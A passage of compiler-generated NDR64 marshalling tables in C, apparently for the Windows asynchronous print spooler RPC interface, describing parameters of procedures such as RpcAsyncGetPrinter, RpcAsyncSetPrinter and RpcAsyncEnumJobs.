__midl_frag211 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag210_t __midl_frag210 =\n{ \n/* RpcAsyncStartDocPrinter */\n    { \n    /* RpcAsyncStartDocPrinter */      /* procedure RpcAsyncStartDocPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag211,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDocInfoContainer */      /* parameter pDocInfoContainer */\n        &__midl_frag213,\n        { \n        /* pDocInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pJobId */      /* parameter pJobId */\n        &__midl_frag948,\n        { \n        /* pJobId */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag207_t __midl_frag207 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag948\n};\n\nstatic const __midl_frag204_t __midl_frag204 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag203_t __midl_frag203 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag204\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag202_t __midl_frag202 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag203\n};\n\nstatic const __midl_frag199_t __midl_frag199 =\n{ \n/* RpcAsyncGetPrinter */\n    { \n    /* RpcAsyncGetPrinter */      /* procedure RpcAsyncGetPrinter */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag211,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrinter */      /* parameter pPrinter */\n        &__midl_frag202,\n        { \n        /* pPrinter */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag196_t __midl_frag196 =\n{ \n/* *SECURITY_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag92\n};\n\nstatic const __midl_frag195_t __midl_frag195 =\n{ \n/* *DEVMODE_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag10\n};\n\nstatic const __midl_frag194_t __midl_frag194 =\n{ \n/* *PRINTER_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag37\n};\n\nstatic const __midl_frag192_t __midl_frag192 =\n{ \n/* RpcAsyncSetPrinter */\n    { \n    /* RpcAsyncSetPrinter */      /* procedure RpcAsyncSetPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag211,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterContainer */      /* parameter pPrinterContainer */\n        &__midl_frag37,\n        { \n        /* pPrinterContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag10,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pSecurityContainer */      /* parameter pSecurityContainer */\n        &__midl_frag92,\n        { \n        /* pSecurityContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Command */      /* parameter Command */\n        &__midl_frag948,\n        { \n        /* Command */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag189_t __midl_frag189 =\n{ \n/* RpcAsyncDeletePrinter */\n    { \n    /* RpcAsyncDeletePrinter */      /* procedure RpcAsyncDeletePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag211,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag185_t __midl_frag185 =\n{ \n/* RpcAsyncScheduleJob */\n    { \n    /* RpcAsyncScheduleJob */      /* procedure RpcAsyncScheduleJob */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag211,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag948,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag159_t __midl_frag159 =\n{ \n/* RpcAsyncEnumJobs */\n    { \n    /* RpcAsyncEnumJobs */      /* procedure RpcAsyncEnumJobs */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 9 /* 0x9 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag211,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* FirstJob */      /* parameter FirstJob */\n        &__midl_frag948,\n        { \n        /* FirstJob */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NoJobs */      /* parameter NoJobs */\n        &__midl_frag948,\n        { \n        /* NoJobs */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pJob */      /* parameter pJob */\n        &__midl_frag829,\n        { \n        /* pJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag152_t __midl_frag152 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag254\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag151_t __midl_frag151 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag152\n};\n\nstatic const __midl_frag147_t __midl_frag147 =\n{ \n/* RpcAsyncGetJob */\n    { \n    /* RpcAsyncGetJob */      /* procedure RpcAsyncGetJob */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag211,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag948,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pJob */      /* parameter pJob */\n        &__midl_frag151,\n        { \n        /* pJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag144_t __midl_frag144 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t 